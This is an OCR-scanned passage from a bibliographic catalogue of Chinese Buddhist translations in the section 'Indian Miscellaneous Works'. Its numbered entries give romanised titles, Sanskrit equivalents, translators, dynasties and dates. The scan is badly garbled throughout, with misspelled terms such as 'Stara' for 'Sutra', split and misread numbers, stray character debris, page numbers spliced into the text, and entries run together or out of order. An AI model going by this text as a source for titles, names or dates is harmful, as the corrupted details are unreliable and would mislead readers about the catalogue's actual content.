4.fasciculi; 121 Avadnas or tales. The last tale istranslated by Mr. Beal, in his Catalogue, pp. 85, 86.This work is mentioned as a Hinayana-stra in A. "-tsifi,fasc. 3 x, fol. 26 a.13 3 0'Stara on Ktleyapa's coming up to the place where Buddha hadjust entered NirvDyna. 'Translated by Thin-wu-lin (Dharmaraksha I), A. D.3 81 -3 9 5, of the Eastern Tsin dynasty, A. D. 3 17-420.3 leaves. This work is mentioned as a Hinayna-strainIC'-tsift, fasc. 29 , fol. 21 b.The above six works are wanting in Tibetan.K'-yuen-lu, fasc. 9 , fol. 26 a seq.13 3 1 nrI4ii
9 a64
I2I a66
156 a67
3 3 b. 7o
76 b71(7) Vasu-mitra, 72164 a}}1(7) VDFo-tho-nn-thi, (8) 28 bBuddhanandi.(8)Buddhamitra.Fo-thc -m. ^-vo, (9 ) ^r29 7IND r MIS GELThis work is mentioned ai a Htnay&na-sfitra in K'-tsi,f O. 29 , fol. 22 a.The following three works were translated under theWestern Tsin dynasty, A. D. 265-3 16; but the trans-1&tors' names are lost :;1 333 f Jk J ' 0 altitAIFo-sh'- pi-khiu-ki-kn-yen-shwo-f-m- tain-ki-ki.`Sfltra on Buddha's causing the. Bhikshu Ktyayana to preachthe Gtha. on the destruction of the law. '9.1 ves.1 334 r wtFo-shwo-fo-k'-ahan-kifs.'Stara spoken by Buddha on Buddha's keeping the body inregular order. '2 leaves. . This and the following work are mentionedHinay&na-stras in K'-tsi, fasc. 3 1, fol. 13 a, b.Satra on keeping the mind or thought in regular order. '2 leaves.The above four works are wanting in Tibetan. K'. .yuen-lu, fase. 9 , fol. 28 a.13 3 6A:0$ Id Wa=^ h-sh'-li-f-yuen-kiki.- ' Mgusrt-praniah¬pada-stra. 'Samantabhadrapranidhna, Bhadrakari.Translated by Buddhabhadra, A. D. 42o, of the EasternTsin dynasty, A. D. 3 17-420. 4 leaves; 43 verses.'This is an earlier and incomplete translation ofthe 62 verses of Nos. 89 and 1142. This work ismentioned as a Mahy&na-siltra of the Avatamsaka .class in K'-tsiri, fasc. x, fol. I I a.1 337 7Z ' M
. lStLiu-phu-sa,-miti-yi-titi. - suri-kh'- kin,'Sidra on six Bodhisattvas' names also to be recited and keptin mind. 'Translated under the Eastern Han dynasty, A. D. 25-220; but the translator's name is lost. 2 leaves. Thiswork is mentioned as a Mahityina-stra of the Vaipulyaclass in . '-tsiil, fase. 5, fol. 27 b.I' KshullamargabhQ mi-sQ tra:EOUS WORKS. 29 8Translated by K' Y o, A. D. 185, of the Eastern Mtndynasty, A. D. 25-220. 4 leaves. This work is men-tioned _ a Mahyana-8&stra in K'-tsili, fasc. 3 8, fol. 18 a.13 3 9 ' 14 *. ^^``' -^- ^[^^!^ ,. _. ^r,^5-hin-kheu-li-shi - 'rh-yin-yuen-kili.SAtra on the twelve causes (Nidanas) as an oral explanationaccording to the Agama. 'Translated by In Hhen, A. D. 181, of the EasternH&n dynasty, A. D. 25-220. 9 leaves. This work ismentioned as a Hinayana-sstra in K'-tsi, fasc. 4o,fol. 17 a.The above four works are wanting in Tibetan.K'-yuen-lu, fase. 1o, fol. I b seq. 1 3 40. ttitm w,^cicorwFu-5,-tsli-yin-yuen-kiii (or kwhn).' Sfltra (or record) on the Nidftna or cause of transmitting theDharmapitaka,'Translated by Ki-ki-ye, together. with Than-yo,A. D. 472, of the Northern Wi dynasty, A. D. 3 86-53 4.6 fascieuli. This is a very well-known history of thesuccession of twenty-three patriarchs from Mahk8yapato the Bhikshu Simha. Deest in Tibetan. K'-yuen-lu, f c. 9 , fol. 27 a. The following is a list of thenames of 23 patriarchs, according to No. 13 4o, withreference to the pages of Eitel's Handbook of ChineseBuddhism, and Edkins' Chinese Buddhism, where thenames are given :No. 13 40.(I)` 1 lMo-ho-ki-yeh,Mahksyapa.(2)m. 0-nn,Amanda.(3 )a Nis %In fo Sh-n-h-siu,,Sanavsa (?).(4)^:^^`^^^Upagupta.(5) ,;,-; ^ma Ti-to-ki,Dhritaka.1 33513 3 8(27)Prag-tara,9 5 a(28) Bodhi-dharma, 86241)5(1 6) IOI78Taun- (i7)1 I21 b} 7929 9 ,INDIAN MISCELLANEOUS WORKS.
3 00No. 13 4o.(9 ) R-Prsva Bhikshu.(10) ^05
Fu-n-sh,Punyayasas.(I I) ^a^^^ ^MA-inin-phu-sa, (12) 16 bAsvaghosha Bodhisattva.. .1,3 41' g":; !f74T- mo-to-lo-shn-ki.Dharmatara (or Dharmatita) -dhyna-s{ltra.Conc. 63 6. Translaf. ^d by Buddhabhadra, A. D. 3 9 842I, of the EasternXsin dynasty, A. D. 3 17-420. 2 fas-ciculi; 17 divisions.(II) 9 81)Ei- ED-TEL. IiINS.gx b(12) It /l+ Pi-lo-pl-khiu,Kapimala (7) Bhikshu. 1(13 )(13 )t w^^- Luii-shu-phu-s'aNgrguna Bodhisattva. ( I4)(14) ti ors Na '^^^KA-nit-thi-pho, (15)3 f ` i^nadeva. JShan-flyo-ki-kin. ' Stara on the important explanation of the law of meditation. 'Translated by Kumragiva, about A. D. 405, of theLatter Tshin dynasty, A. D. 3 84 417. 2 fasciculi.This work is mentioned as a Mahayana-sstra in K'-tain, fasc. 3 8, fol. Y 6 b.52a 7679 b 7750 b13 42To! i. !( 1 5) Slo-heu-lo,xya Rhulata (7).( a 6) q*** k-san-ki- nn-thi,rya Sanghanandi.(17) ^^
* San-ki-ye-sh, (r8)Saghayasas.(18) 14* s, Kiu-mo-lo-tho,Kumrata (7).(2o)(2I) 164`a Indexonly.I(20 ^t. . .Manura./^^^^Mo-nu-lo,(22)na-y-sh,(23 ) 87 b 83Haklenayasas.( 23 ) 0r t
Sh'-tsz'-pi-Miu, (24)
84Simha Bhikshu.Basia-(25)sita (4),85P(26)mutnoita(7) =,85-y-wn-ki.Asoka-raga-sfltra. 'Translated by Saiighapla, A. D. 512, of the Lia.dynasty, A. D. 502-557. I o fasciculi ; 8 chapters. Thismay . be a translation of the Asokvadana. For theSanskrit text, see Catologue of the Hodgson Manu-scripts, V. 23 ; VI. 12 ; VII. 3 .13 4414` Asoka -rgvadna-sfltra:Translated under the Eastern Tsiii dynasty, A. D. 3 17-420; but the translator's name is lost. 8 leaves. Accord-ing to K'-yuen -lu (fasc. 9 , fol. 3 o a), this is a shorterversion of No. 13 66, which latter is said to hav beencompiled by the Bhikshu To-lh (or -phi). No. 1 3 44may be a translation of a part of the Asokvadna,mentioned under No. 13 43 .The above four works are wanting in Tibetan. K'-yuen-lu, fasc. 9 , fol. 29 a seq.Sn-hwui-ki.Trigna-stra. 'Translated under the Northern Lill dynasty, A. D.3 9 7-43 9 ; but the translator's name is lost. 1 4 leaves.The three kinds of knowledge (Trigna) are belief,hearing, end practice.(2 )ist Pho-siu-phan-13 4GgPP'17' ^CS' Abhidharma-paadharmakary-sfltra. 'Tsun- k-(19 )So59 a 8142 a 82)13 4313 453 01=INDIAN MISCELLANEOUS WORKS.
3 02Translated by An 'Shi-ko, A. D. 148-170, of theEastern Hin dynasty, A. D. 25-220. 12 leaves, Thiswork is mentioned as a Hinayana-sstra. in K'-tsi,fasc. 40, fol. 13 a.The above two works are wanting in Tibetan. K'-yuen-lu. , fase. 10, fol. I b.1 347 tittit AtPin-then-lu-tu-lo-sh- wM-yiu-tho-yen-w-shwo-f-yuen-kin.SAtra on the cause (Nidina) of the preaching of the law byPindola (?) Bharadv aga to the King UdAyana. 'Translated by Gunabhadra, A. D. 43 5-443 , of theearlier Suit dynasty, A. D. 420-4fi9 . 9 , leaves. Thiswork is mentioned as a Hinayina-stra in K'-tsiri,fasc. 3 i, fol. 26 b.13 48iIXTshin-pin-then-1 u-kin.' Stara on inviting Pindola (?). 'Translated by Hwui-kien, A. D. 457, of the earlierSun dynasty, A. D. 420-479 . 2 leaves.13 49 *A* R EIJ AT-yon-phu- s-fan-pieh-yeh-pio-ltih- kin.Stara on the fruits of Karma briefly explained by the Bodhi-sattva ryasflra.Translated by Satighavarman, A. D. 43 4, of the earlierSuit dynasty, A. D. 420-479 . I2 leaves.13 50
P9 flTao-shn-sin-mi-f-man-kin.' Dhygnanishthita (?)-samdhi-dharmaparyftya-stra. 'Composed by Sarigharaksha. Translated by Kum-raglva (first in A. D. 402, and afterwards revised in A. D.407), of the Latter Tshin dynasty, A. D. 3 84-417.2 fasciculi ; 8 divisions. Deest in Tibetan. K'-yuen-lu, fasc. 9 , fol. 27 b.13 51Rf1`7'Fo-su-hhin-tail,-kin.Buddhakarita-kavya (-abtra).Composed by the Bodhisattva Asvaghosha. Trans-lated by Dharmaraksha, A. D. 414-42 I, of the NorthernLi dynasty, A. D. 3 9 7-4. 3 9 . 5 fasciculi ; 28 chapters.This is a metrical work on the life of Buddha, from hisbirth till'. the division of his relics (Sarira). It hasbeen. translated into English by Mr. Beal, and willappear in a volume of the Sacred Books of the East.For the Sanskrit text, , see Catalogue of the HodgsonManuscripts, V. 3 4; VII. Io. There is a MS. of thesame work in the University Library, Cambridge,which MS. is marked Add. 13 87. The Sanskrit textconsists of 17 chapters only, the titles and contentsof which agree with those of the first 17 chapters ofNo. 1 3 51 (except the titles of the I ith, 16th, and17th chapters), though the latter omits some verses.The following Sanskrit titles of the 17 chapters aretaken from two MSS. , at Paris (C. H. M. , V. 3 4) andCambridge above alluded to :-(^) Bhagavat-prasti.(2) Antahpura-vilAra.(3 ) Samvegotpatti.(4) Stri-vigh&tana.(5) Abhinishkramana.(6) Khandaka-nivartana.(7) Tapovana-pravesa.(8) Antahpura-vildpa.(9 ) Kum&ranveshana.(to) Srenka (or Srenika, i. e. Bimbisftra)-abhigamana.(u) Kma-vigarhana.(ta) Arda-darsana.(Y3 ) Mitra-vigaya.(1 4) Abhisambodhana-samstava.(i5) Dharmakakrapravartanftdhyeshana.(16) Dharmakakrapravartana.07) Lumbinlyagfdika (or yfltrik ?).For the Chinese titles of the a8 chapters of No. 13 5,1,see Mr. Bears translation. According to . K'-yuen-lu(fasc. 9 , fol. 25 b), No. 13 51 is wanting in Tibetan.13 52^^. AVD T7 ^^Sa-ki-lo-kh- su-t^ i-fo-hhiii-ki1i:' SAtra on the practice of Buddha (or Buddha -karita-sAtra),compiled by Sagharaksha. 'Translated by Satighabhti, A. D. 3 84, of the FormerTshin dynasty, A. D. 3 50-3 9 4 5 fasciculi. Deest inTibetan. K'-yuen-lu, fasc. 9 , fol. 20 b. it NJ 4ff 'ktF-k-phi-y-kin.Dharm cep ad tvad itn a-sfltra. 'Compiled by the venerable Dharmtrta. Cf. Nos.13 21, 13 65 143 9 . Translated _by F-kii, together withF-li, A. D. 29 0-3 06, of the Western Tsin dynasty, A. D.265-3 16. 4 fasciculi ; -3 9 chapters; 68 Avadinas orparables, illustrating the teaching of the verses. Thisis the second of four Chinese versions of the Dhainma-pada, being different in order from No. 13 21. . Theverses are less complete than those in No. 1 3 65. Deest13 533 03 INDIAN, MISCELLANEOUS WORKS.304in Tibetan. See . K'-yuen-lu, fasc. zo, fol. I a; K'-tsi,fasc. 41, fol. 2 b. No. 13 21 has _ been translated byMr. Beal, ' The Dhammapada from. the Buddhist Canon,'London, 1878. In his version, t. le verses in No. 13 21are fully translated, but of the parables an abstractonly is given. See also the Sacre I Books of the East,vol: x, Introduction to the Dhamn, apada, pp. 1lii,13 54Phu-thi-hhi-kifs,' Bodhikary-sutra:Composed by the Bodhisattva Nigarguna, in verse.Translated by Thien-si-tsai, A. D. 9 8o-IooI, of the laterSun dynasty, A. D. 9 60-1127. , 4 fat ''ticuli ; 8 . chapters.This work is mentioned as a Mahayana- sastra inK'- tsi, fasc. 3 8, fol. i 9 . b.The following two works were translated by Amogha-'agra, A. D. 746-771, of the Than dynasty, A. D. 618-9 07:_13 55fil ta ';:t:3 3 i OR,Kin-kn-tin-yi=tshi-zu-lai kan shih-sh-ta- shah-hhien-kali-t-ki )-wan-kill.' Vagrasekhara-sarvatathtgata-satyasaiigraha-mandyuna-pratyut-pannabhisambuddha-mh tantrarga-sutra;2 fasciculi. This. is an earlier ` translation of thefirst division of No. 1017. K'- tsin, fa. c. 15, fol, i a,where this work is accordingly mentioneeas a Maha-yana-siltra of the Vaipulya class.1 356CWnri^I On * ` ` ^^ 'gis.Wan-shu-phu-sa-ki-ku-sien-su-shwo-ki-hhiii-sh'-zih-shn-Ooh-su-y:' Sutra on the goodness and badness concerning the Nakshatrasor constellations, and lucky and unlucky days and times,spoken by the Bodhisattva Maiigusrl and many other Rishis:2 fasciculi. This'translation. was made in A. D. 759 .It is a work on astrology.13 57 * 7 :}San-ki-si- na-su-4 wan-phu-s-pan-yuen-kill.Stara on the former causes (PUrva-niduna or -avadna) of theBdhisattva compiled by Saiighasena. 'Translated by K' Khien, AD. 223 -253 , of the Wudynasty, A. D. 222 -280. 4 fasciculi; 8 chapters.N-sin-pi-khiukin,' Ngasena-bhikshu-sutra. 'Translated under the Eastern Tsin dynasty, A. D.3 1 7-420 ; but the translator's name is lost. 3 fasci-culi; 23 , 21, and 14 leaves. The principal speakersare the Bhikshu Nagasena and the Raga Mi-ln,' i. e.Milinda (I) ; so that it seems to be a translation of atext similar to the Milinda-pamho, though the intro-ductory part is not exactly the same as that of the Palitext, published by Dr. Trenckner in his Pali Miscellany,part 1, with English translation.13 59 . s,'An old (version of the) Samyuktavadfna-sutra. 'Collected by the sages and the wise. Translated byKhan Sali-hwui, A, D. 251, of the Wu dynasty, A. D.222-280. 2 fasciculi: This work is mentioned as aMahayana-sastra in K'"- tain, fasc. 3 8, fol. i9 a.The following two works were translated under theEastern Han dynasty, A. D. 25-220; but the transla-tors' names are lost. :--1 360 iff N^ ^Shnyoh-y ki^i.` Sutra on blaming human desire or lust, and on theimportance of the meditation. '4 leaves. This work is mentioned as a Mahayfina-^ astra in K'-tsin,-f:c. 3 8, fol. 17 b.13 61 N i-ah an-kwn-kn-kii-kiri.Sutra consisting of sections and verses on meditation on the inner body. '4 leaves.ti41
Fkwn-kin,' Sara of meditation on the law. ' ,Translated by Ku Fa-hu (Dharmaraksha), A. D. 266-3 13 , of the Western Tsin dynasty, A. D. i653 16,6 leaves. This translation is not readable. K'-tsi,fasce 41, fol. 6 b.The above six works are wanting in Tibetan. K'yuen-lu, fasc. 9 , fol. 27 a seq.13 63 Ki-yeh-ki-1" ci.' Sutra on Kasyapa's collection (of the 1ripitaka):1 3581 3623 05INDIAN MISCELLANEOUS WORKS.
3 06Translated by In Shi-kio, A. D. 148 - 17o, of theEastern Ma dynasty, A. D. 25-220. ii leaves. Men-tion is made in this work of Kisyapa's reproach 'ofnine faults committed by . xlitnda. Deest in Tibetan.K'-yuen-lu, fasce ro, fol. r a.13 64-ff&Ara of a hundred comparisons.'Composed by Sa6ghasena. Translated by Guna-vriddhi, A. D. 49 2, of the Tshi dynasty, A. D. 479 -502.2 ; 9 8 comparisons, not Avadmas. For theSatavadina, or Avadinasataka, see No. 13 24. No. 13 64ends with the following words : 'Arya SafighasenaMade this garland for the fool (I). '13 65it SI 1c Dharmapada-stItra,' or Dhammapada.Composed or. collected by Dharmatritta. Translatedby ffit e. Vighna, and others,A. D. 224, of the Wu dynasty, A. D. 222-280. 2 fas-ciculi ; 3 9 chapters ; 152 verses. This version isalso called FA-tsi-kiii, or Dharma-sag-siltra. SeeK'. . yuen-lu, fasc. 9 , fol. 3 x. In the same work(fasc. fol. a a), No. 1 3 65 is said to be wanting inTibetan. In the preface to No. 13 65, this text is calledP*- . w
fg IV 4'Avidyikraksharstitra!Translated under the (three) Tshin dynastie; A. D.3 50-43 1; 'but 'the translator's name is lost. i fasci-(mlus; 28 leaves. Deest in. Tibetan. K'-yuen-lu,f:xo, fol. 2 a.
13 70aWan-shu-su-shwo-tsui-shat. -na-i-kih. .'Mafigusri-bhilshitottamanamitrtha-sfara.'Mafigusri-nimasatigiti.yuen-lu, fase. 5, fol. r5 b ; Conc. 750.Mangusrt-gfittna-sattvaaya para narthanamX t!7<,114t;;!i<{3 07INDIAN. MISCELLANEOUS WORKS. 3 08A. R. , p. 488; A. M. G. , p. 29 1 Conc. 79 9 . Trans-lated by Kin-tsun-khz' (Suvarnadhranl), about A. D.1113 , of the later Sun dynasty, A. D. 9 6o-112. 7.2 fasciculi ; 18 leaves. It agrees with Tibetan. K'-yuen-lu, s. v. No. 13 7o is mentioned as Mahyana-stra of the Vaipulya class in K'-tsin, fasc. 15,fol. 14 a.13 71 ka. Ki-tin^pi-khiu-shwo-tn-li-pieu-kin.Stra on the changes of the future, spoken by the BhikshuKia-tin (?). 'Translated under the,earlier Sun dynasty, A. D. 42047 9 ; but the translator's name is lost. 10 leaves.13 72Ilk` Samyuktavad gala- sdtra. 'Cf. Nos. 13 66 and 13 68. Translated by K' Leu-ki-khn (Lokaraksha 9 ), A. D. 147 -186, of the EasternHan dynasty, A. D. 25-220. 11 leaves.13 73Sz'-wi-yo-liih-f . .' An abridged law on the importance of thinking or meditation. 'Translated by Kumaragiva, A. D. 405, of the LatterTebin dynasty, A. D. . 3 84-417. 12 leaves.The above two works are mentioned as Mahyna-sstras in . K' -tsi, fasc. 3 8, fol. 19 b and i7 a respec-tively.^---^Shi-'rh-yiu-kin.' Dvadasa (-varsha)-viharana-stra,'Translated by Klodaka, A. D. 3 9 2, of the EasternTsin dynasty, A. D. 3 17-420. 6 leaves. It gives anaccount concerning the life of Buddha, from his birthtill the twelfth year from his becoming Buddha. Pio-mu, fasc. 8, . fol. 23 a.The above three, works are wanting in Tibetan.. K'-yuen-lu, fase. 9 , fol. 29 b.13 75 N; -.WhAHhien-shan-tsi-ki-tho-yi-pi-sun.'Ahundred Gathas collected by the sages and the wise. 'Translated by Thien-si-tai, A. D. 9 80-1o0I, of thelater Sun dynasty, A. D. 9 60-1280: 8 leaves. TheGthts explain the happy rewards of the action ofgiving gifts to Buddha and Sangha.13 76IA * -XKwan-fa-ta-yuen-sun.Mahapranidhauotpada-gatha:Composed by the Bodhisattva Ngrguna. Trans-lated by Sh'-hu (Dnapla 1), A. D. 9 80-1000, of thelater Sun dynasty, A. D. 9 60-1127. 3 leaves. In K'-yuen-lu, fasc. 10, fol. 6 a, the second character of theChinese title is placed after . the third one, whichreading is adopted in the literal translation of thetitle above.The following two works were translated by. F-thien(Dharmadeva 9 ), A. D. 9 73 -9 81, of the later Sundynasty, A. D. 9 6o-1127:1 377Wu-nun-shad- t . -min-tho-lo-ni-kin.Ageyamahavidya-dharani-s{ttra. '10 leaves. This a;nd the following work are men-tioned as Mahyna-sfitras of the Vaipulya class inK'-tsin, fasc. x5, fol. 12 b.13 78it 04, WiWu-nn-shan-t-miii-sin-tho-lo-ni-kin.' Ageyamabavidpahridaya-dharanf-sAtra. '2 leaves.it ti3Shi-pu-shn-yeh-to-kin.Dasadushtakarnyamarga- ^ tr^ . 'Composed by the Bodhisattva Asvaghosha. Trans-lated by Zih-kn (Sryayasas 9 ), A. D. 1004-1058, ofthe later Suri dynasty, A. D. 9 60-1127. 2 leaves.13 80 jC17-- r9Ta-sha-siu-hhin-phu- sa--hhi-man-ku-kisi-yo-tai.' Mah yana-karana-bodhisattva-karyddvara-sarvasdtta-mah rtha-saiigraha. 'Translated by K'-yen, A. D. 721, of the Than dynasty,A. D. 618-9 07. 3 fasciculi. It consists of sixty-sixarticles on the practice of a Bodhisattva, collectingpassages from forty-two different S6. tras.13 81 114gSz' =-han-mu-k4fto-ki.' Explanation of an extract from the four Agamas,'13 741 379' ?1t13 89 k 1 1 TA 3e itsrIL-Ki n-k=tizi-y-ki-ki-sn-shi-kha-tsiu-ki-shah-mi-man.' Vagrasekhara-yoga-tribhavavigaya-siddhi-mandguhyadvra. '5 leaves. This translation was made by Amogha-vagra, together with Pien-k' (Sarvagaoan^INDIAN MISCELLANEOUS WO] KS. 3 10Composed or compiled by the Arhat Vasubhadra.Translated by Kumrabuddhi, A. D. 3 82, of the FormerTshin dynasty, A. D. 3 50-3 9 4. 2 fasciculi; 9 chapters.This is an earlier translation of N. 1271. See K'-tsi,fasc. 40, fol. x6 b, where this work is accordinglymentioned as a H1nayna-sstra.1 382P9 inWu-man-shn-ki-yo-yu-f.' Paikadvra-dhynas tra-mahrthadharma:Composed _ by the ` Mahdhynaguru' Buddhamitra.Translated by Dharmamitra, A. D. 42 4-44r, of theearlier Suri dynasty, A. D. 420-479 . x fasciculus.This work is mentioned as a Mahyna-sstra in K'-tsi, fase. 3 8, fol. 16 a.The above four works are wanting in Tibetan.K'- yuen-ln, fasc. 9 , fol. 27 a seq.1 383it (011r 1,4^^Kui-k-ti-y-ki-tshien-sheu-tshien-yen-kwn-tsz' -tsi-phu-s-siu-hhi-i-kwi-ki.` Vagrasekharayog-sahasrabhu=sahasrksha-avalokite^ vara-bo dhisattva-kary-kalpa-sAtr:Translated by Amoghavagra, A, D. 74:6-771, of theThan dynasty, A. D. 618=9 07. r fasciculus. This workis mentioned as a Mahyna-stra in K'-tsi, fasc. 15,fol. '9 a.13 84)1Mi-tri-li-sh' -t-kken-sh an- w-ki-ki-sun.' Guhyapadamaua-maharddhirga-s{itra--gthtt. 'Collected by Ku-pit, A. D. 13 14-13 20, of the Yuendynasty, A. D. 128o-13 68. 1 fasciculus; 175 verses.13 85 - 4:4*kv a l zaAa*AYi-tshi-pi-mi-tsui-shn-mi-i-t-kiow-i-kwi.Sarvaguhynuttaranmrtha-mahtantra-rg-kalpa. 'Translated by Sh' -hu (Dnapla I), A. D. 9 80-1000,of the later Sun dynasty, A. D. 9 60i 127. 2 fasciculi;2 x leaves.1 386 jC_t1 41 1 OfA-4T-1-kin:k-s-to-siu-hhi-kha-tsiu-i-kwi.' Mahsukha-vagrasattva-karysiddhi-ka1pa. 'Translated by Amoghavagra, A. D. 746-77r, of theTh dynasty, 4. D. 618-9 07. r 6 leaves.13 87. I IQ +' ; a I 1Mn-shu-shih-li-phu-s-ki-si-ki-tho.Ma-gurrt-bodhisattva-sr1gd,thA. 'Transliterated by Fi-hhien, A. D. 9 82--1001, of thelater Siui dynasty, A. D. 9 60-1127. 2 leaves. This isanother . transliteration of. No. 107 4. K'- tsi, fasc. 15,fol, is b.The following three works were translated by Amo-ghavagra, A. D. 746,771, of the Th dynasty, A. D.618-9 07 :AitOit Z*41 1 .**gq 41 + AKha-tsiu^naio-f-lien-hw-7ci-wii-y-ki-kwn-k'- i-kwi.` Saddhaamapundar4ka-sAtrarga-siddhi-yoga-dhynagicna-kalpa. '1 fasciculus.13 9 0,
dIA3 01hotift 13 1 ^^17 ^^^Kin-k-tin-y-ki-th-hw -tsz'= tsl - thien-li-tsh -hwui-phu-hhien-siu-hhi-nien-su-i.` Vagrasekhara-yoia-parinirmitavasavartisatyat-parshat-samanta-bhadrakarydhyd. ya-kalpa. '16 leaves.13 9 1 ^`Kin-k-sheu-mi-tho-lo-ni-nien-su-f.` Vagrityur-dhrany-adhyyarkalpa. 'Translated by Vagrabodhi, together with Amogha-vagra, A. D. 723 -73 0, of the . Thxi. dynasty, A. D. 6189 07- 3 leaves.13 9 24 --VIVe'11T-yo-kh-n-kwn-hhi-nxu-pi-i- t^z' -k^t. ari-tsiu-f.' Mahyakshamatr-nand (?)-pnriyaputra-siddhi-kalp3 . 'X 213 883 1 . 1INDIAN . MISCELLANEOUS WORKS. 3 12Translated by Amoghavagra, A. D. 746-771, of theThan dynasty, A. D. 618-9 07. 12 leaves.13 9 3 10 w'r'1dFo-shwo-ti-ship-yen-pi-mi-kha-t^ iii-i-kwi. Buddhabhashita-indrasakra-sils-guhya-siddhi-k alp a. ' -Translated by Sh'- hu (Dnapla ?), A. D. 9 8o--I000.of the later Sun dynasty, X: D. 9 6o-1127. 5 leaves.In this work, Buddha telis Vagrapni how man can seethe Bodhisattva Maitreya in the Indra cave (I). K'-tsia, fasc. I 2, fol. 9 a.The following fourteen works were translated byAmoghavagra, A. D. 746-771, of the Thin dynasty, A. D. -618-9 07 :-13 9 4 k ini lE ttSfit AKwn-tsz'- tsi-phu-s-zuri-lun-nien-suai-i-kwi.` Avalokitesvara-bodhisattva-kintikakra (or -manti-dharant ?)-adhyaya-kalpa. '10 leaves.,13 9 6RR's NI '11 aT-phi-lu-k-n-kha-fo-shah-pieu-ki-kh'-ki-ltih-sh'- tshi-k'- Hien- su-sui-hhi-f&An abridgment, showing the law (kalpa) of seven sorts of reci-tation and practice, of (the 7th fasciculus of) the Mahavai-rokanabhisambuddhy-riddhiyugandhara-stra (No. 53 0).5 leaves.1-3 9 6Afit^M * it.Su-tei-li-yen-mo-hhi-sheu-lo-thien-shwo--wi-sh-f.' S3 ghrap halo daya-mahesvara-deva-bhashitavisha-kalpa'5 leaves.13 9 7 * - I1T- sha-mn-^:hu-shih=li-thu-tsz'-wu-tsz'-yi-ki-f.' Maharya-mafgusri-kumra(bhta)-pakakshara-yoga-kalpa'5 leaves. Thirty-five mantras are given in Nepaleseletters.13 9 816. 5 ^^^t^r !ftfiL'T-wi-nu-wu-khu-seh-mo-i-kwi.` Mahabalakrdha-wu-kh,u-seh-mo (?)-kalpa. '1 7 leaves.13 9 9 jC a v ';: I * 0 *-T=khu-tshih-mi-w-hw-si-thn-kh-i-kwi.' Mahamay{iri-vidytl,rggt-kitrapratibimba-mandala-kalpa. '6 leaves. .1 400^ ^^ ^ l.r^ 41 *1 RIKin-k-ti-y-ki^-kin-k-s-te-i-kwi.' Vagraskhara-yoga-vagrasattva-kalpa. '13 leaves.1401 '41 '& 1:' &M ^gi^Yi-tsz'- kin-lun w- fo-ti-yo-lh-nien-su-f.` Ekakshara-suvarnakakrarga-buddhoshntsha-mahartha-5aiikshepadhyaya-kalpa. '5 leaves.1402. ^ ^+ ^^t h agwn-tsz'- tsi-phu-s-zu-i-litn-y-ki^-tien-s-f. ' 'Avalokitesvara-bodhisattva-kintakalcra (or -mani)-yogadhyatya-kalpa. '- i4 leaves. This is a later translation of No. 53 8g'-tsi, fasc. i5, fol. 9 a.1403 * E * R 4 V 4 ^^^^iT-shaft-t-kwn-hhi=shw-shan- phi-n-ye-ki-f.' Mah rya-mab bhirati-dvak8ya-vinayaka-kalpa. '4 leaves. This is a later translation of a part of the>< ith fasciculu^ of No 3 63 . ^ '- tsi, fasc. 14, fol; 28 a.1404 jC 13 411 =':. atOiri7itT-zih-kin-lh-sh-tien-su-sui-hhi-f. ^` Mahavairokana-sfltra-saiikshepasagrahadhyaya-karya-palpa:4 leaves. For the Stra, see No. 53 0.^^^HiN IL<<e3 13 INDIAN MISCELLANEOUS WORKS. 3 141 .-4. -.0t n ~r / ^^4-4sWu-tsz'- tho-lo-ni-su.' PakAkshara-dh&ran9 -g&th&. 'I I leaves.The above twenty-one works are mentioned asMahayana-stras of the Vaipulya class in K'- tsi,fasc. 12-15.1 406 t I X' tZan-wn-pan-zo-tho-1 o-ni-shih.Ktrunikar&ga-pragfi& (pframit&)-dh&rani-vyfkhy&. '8 leaves. For the Pragpramit, see Nos. 1 7, 9 65.1407If . ' 94 o) g ^^^:T-1-kin-kn-pu-khun-kan-shih-sn-mi-ye-kin-pn-zo-po-10-mi-to-li-tshii-shih.` Mah&sukha-vagr&moghasatyasamaya-s tra-pragpramit-buddhi-vy&khy&. '2 fasciculi. For the Stra, see No. 103 4.Tlie above two works are mentioned as Mahyna-sstras in K'-yuen, fasc. 3 4, fol. 7 a, b.1408 S ^v^i a At 1 ^ ^- *a --E. j'^V1 --^^^^*AtOFo-shwo-tsui-shan-mio-ki-sin-kan-pan-k'-tsui-shn-pi-mi-yi-tshi-mi. li- i-sn^m-ti-fan.' Buddhabh&shita-anuttara-magusr4-m{ilagfa&n&nuttaraguhya-sarvanam&rtha-sam&dhi-varga. 'Translated by Sh'-hu (Dnapla ?), A. D. 9 80- 1000,of the Than dynasty, A. D. ' 618 -9 07. 2 fasciculi;21 leaves. This is an earlier translation of No. 1 3 7 0.K'-yuen-lu, fasc. 5, fol. 15 b.The following ' even works were translated byAmoghavagra, A. D. 7 46-77r,- of the Than. dynasty,A. D. 6x8-9 07:-1409 4, ^ (1 1 *^-^I 'Kin-kni-wn-phu-s-pi-mi-nien^sun- i-kwi.' Vagrar&ga-bgdhisattva-guhy&dhy4ya-kalpa. '15 'leaves.1410 4` 1 41 1 M _49 1 AV*^J^ p t ^gKin-kn-tin- sha,li-kl^u-y=ki-phu-hhien-phu-s-nien'=s un-f-ki. n.` Vagrasekharanuttarayoga-samantabhadra-bodhisattv&dby&a-kalpa-sara. 'I I leaves.1 41 1 4` FM TR * * 4.! 144Kin-kn-tin-y-ki-kin-kn-s-to-wu-pi-mi-siu-hhi-nien-su-i-kwi.` Vagrasekhara-yoga-vagrasattva-pafckaguhya-karyradhyaya-kalpa.14 leaves. This is another translation of No. 1400.K'-tsi, fasc. 15, fol. I b.,^_ --1412 ^^ ,^^p r^% ' '. tWu=lin^sheu-zu-li-siu-kwn-hhin-kun-yn-i-kwi.Ami trayus-tath^agata,-dhyrana-kary-pQ g-lcalpa:'15 leaves.1 41 3 it *. ^^. ^I^ '^ ^^. ^^Kn-lu-kin-thu-li-phu- s -kuli-yn-nien-sup. -khan-tsiu i-kwi.' Ama*itakitn 1 i-bodhisattva-ptigdhyAya-siddhi-k alp a. '1 fasciculus.1414f,' IhrAtpKwn-t z'-tsi-to-to-yUi-ki-nien-sun-f.Avalokitsvarat& ra-yog&dhy&ya-k alpa. '14 leaves. This is a metrical work.^'^^^1^ ^Shan-kwn-tsz'-tsi-phu-s&-sin-kan-yen-yii-ki-kwn-hhi-i-kwi. '` Ary=avalokitesvara- bodhisattva-hridaya-mantra-yoga-dhy&na-karyft-kalpa. '6 leaves. This is an extract from No. 53 0.The above eight works are mentioned as Mahyna-stras in K'-tsi, fasc. i g and 15.. 1416tz^: CaPhu-s-h-seh-y-f.'Law of the Bbdhisattva's blaming the lustful desire. 'Tran^ lated by Kumragva, about . A. D. 405, of 